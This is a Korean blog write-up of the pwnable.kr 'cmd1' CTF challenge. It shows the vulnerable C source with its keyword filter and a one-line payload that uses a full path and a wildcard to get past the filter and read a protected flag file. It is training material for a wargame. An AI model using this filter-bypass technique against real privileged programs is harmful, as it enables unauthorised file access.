Pwnable.kr CMD1문제_정세인

CTF 중점 스터디

2019. 11. 24. 21:38

cmd1@prowl:~$ ls -l
total 20
-r-xr-sr-x 1 root cmd1_pwn 8513 Jul 14  2015 cmd1
-rw-r--r-- 1 root root      320 Mar 23  2018 cmd1.c
-r--r----- 1 root cmd1_pwn   48 Jul 14  2015 flag

들어가서 보니 3개의 파일이 있다 c코드를 보자

 

cmd1@prowl:~$ cat cmd1.c
#include 
#include 

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "flag")!=0;
        r += strstr(cmd, "sh")!=0;
        r += strstr(cmd, "tmp")!=0;
        return r;
}
int main(int argc, char* argv[], char** envp){
        putenv("PATH=/thankyouverymuch");
        if(filter(argv[1])) return 0;
        system( argv[1] );
        return 0;
}

 

인자로 주어지는 것 중에 'flag'  'sh'  'tmp' 라는 단어가 들어가게 되면 프로그램이 종료되게 되어있다.

 

어떻게 해야할까

 

$PATH를 입력해보면 우리가 명령어를 쳤을 때 그 명령어가 존재하는지의 여부를 찾아보는 파일들의 경로가 나온다.

쉽게 말해서 ls를 입력했을 때 

 

cmd1@prowl:~$ $PATH
bash: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin: No such file or directory

 

/usr/local/sbin

/usr/local/bin

/usr/bin:/sbin

/usr/games

/usr/local/games

/snap/bin

 

에 있는 파일들을 찾아보며 ls라는 파일(명령어 파일)이 있으면 그것을 실행하고, 만약 없다면 없다고 출력해준다.

 

이렇게 바로 명령어를 입력 못하도록 방해하는 구문이

 

putenv("PATH=/thankyouverymuch"); 

 

이 구문이다. 환경변수를 완전히 바꿔버린 것이다. 실제로 / 에 가서 thankyouverymuch를 찾아봐도 없다.

 

flag라는 단어도 못 쓰고 ls처럼 바로 명령어를 쓸 수 없다. 그렇다면 이렇게 풀면 된다.

 

ls처럼 바로 명령어를 넣지 못한다면 풀 경로를 입력해주면 된다. 우리가 필요한 명령어는 cat이다. cat은 /bin에 있다.

 

그리고 flag라는 단어를 못 쓰닌까 fl* 이렇게 우회하면 된다. 그래서 payload는

 

./cmd1 '/bin/cat fl*' 

 

이렇게 된다.

 

 

 

 

'CTF 중점 스터디' 카테고리의 다른 글

N00bCTF - Simple_SQL Write-up  (0) 2019.11.28
ctf-d_브리타니아의 원더랜드 Write_up  (2) 2019.11.26
ctflearn PIN Write Up  (0) 2019.11.24
N00bCTF - Simple md(5-1) Write-up  (0) 2019.11.20
Wargame.kr - strcmp - Write up  (0) 2019.11.18